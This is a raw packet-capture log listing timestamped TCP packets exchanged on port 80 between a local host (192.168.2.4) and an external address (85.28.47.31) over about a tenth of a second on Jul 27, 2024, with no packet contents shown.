Jul 27, 2024 05:39:19.632875919 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632917881 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632925034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632958889 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632967949 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632992029 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632999897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633034945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633043051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633097887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633104086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633138895 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633152962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633171082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633181095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633204937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633213043 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633239031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633246899 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633274078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633282900 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633316994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633323908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633358002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633366108 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633390903 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633399963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633424997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633434057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633454084 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633466959 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633486986 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633491993 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633522034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633531094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633565903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633573055 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633618116 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633625031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633654118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633666992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633696079 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633706093 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633749962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633758068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633790970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633799076 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633826971 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633841991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633873940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633884907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633917093 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633924007 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633955956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633968115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.633987904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.633996964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634030104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634037018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634069920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634079933 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634103060 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634114027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634136915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634145975 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634175062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634179115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634219885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634227037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634259939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634268999 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634300947 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634313107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634344101 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634357929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634377003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634386063 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634421110 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634427071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634469032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634479046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634511948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634521961 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634551048 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634562016 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634605885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634612083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634646893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634656906 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634680033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634691000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634721041 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634732008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634774923 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634782076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634816885 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634820938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634860039 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634865999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634910107 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634915113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634948015 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634963036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.634979963 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.634990931 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635014057 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635023117 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635050058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635057926 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635083914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635094881 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635117054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635126114 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635147095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635160923 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635179996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635190010 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635214090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635224104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635246992 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635256052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635282040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635291100 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635315895 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635325909 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635350943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635358095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635394096 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635401011 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635441065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635451078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635483027 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635493994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635516882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635525942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635551929 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635560036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635600090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635607958 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635639906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635651112 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635682106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635689974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635723114 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635735035 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635763884 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635771990 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635803938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635816097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635837078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635838985 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635870934 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635879993 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635904074 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635910988 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635936975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635946989 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.635971069 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.635977983 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636001110 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636013985 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636034012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636044025 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636068106 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636079073 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636101007 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636112928 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636137009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636146069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636168957 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636178017 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636204004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636213064 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636240005 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636244059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636275053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636282921 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636307955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636317968 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636343002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636349916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636375904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636385918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636410952 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636420965 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636442900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636455059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636476994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636493921 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636522055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636552095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636584997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636594057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636617899 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636629105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636651993 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636662960 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636687040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.636696100 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.636733055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.723051071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723100901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723136902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723170042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723217964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723270893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723303080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723335028 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723366976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723367929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.723367929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.723367929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.723385096 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.723401070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723428965 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.723433971 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723450899 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.723467112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723483086 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.723500967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723514080 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.723534107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723546982 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.723576069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.723582029 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723628044 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.723705053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723735094 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723750114 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.723778009 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.723786116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723822117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723836899 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.723855972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723860979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.723902941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.723908901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723943949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723958015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.723978043 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.723985910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724010944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724024057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724055052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724064112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724092960 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724107981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724127054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724137068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724162102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724172115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724209070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724215031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724248886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724260092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724292994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724297047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724337101 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724343061 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724370003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724380970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724404097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724414110 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724437952 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724447966 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724473000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724498034 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724515915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724600077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724642992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724651098 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724684000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724697113 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724725962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724737883 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724771023 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724783897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724803925 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724813938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724837065 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724847078 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724879980 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724888086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724920988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.724931002 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724961996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.724970102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725003004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725013018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725038052 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725044966 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725071907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725080967 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725106001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725116014 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725140095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725151062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725173950 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725183964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725204945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725219965 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725251913 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725255013 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725295067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725307941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725348949 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725357056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725389004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725400925 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725421906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725430012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725455999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725467920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725488901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725498915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725526094 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725534916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725558996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725568056 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725605011 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725610971 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725645065 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725657940 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725687027 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725688934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725730896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725738049 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725774050 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725784063 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725809097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725814104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725843906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725850105 CEST	49477	80	192.168.2.4	85.28.47.31
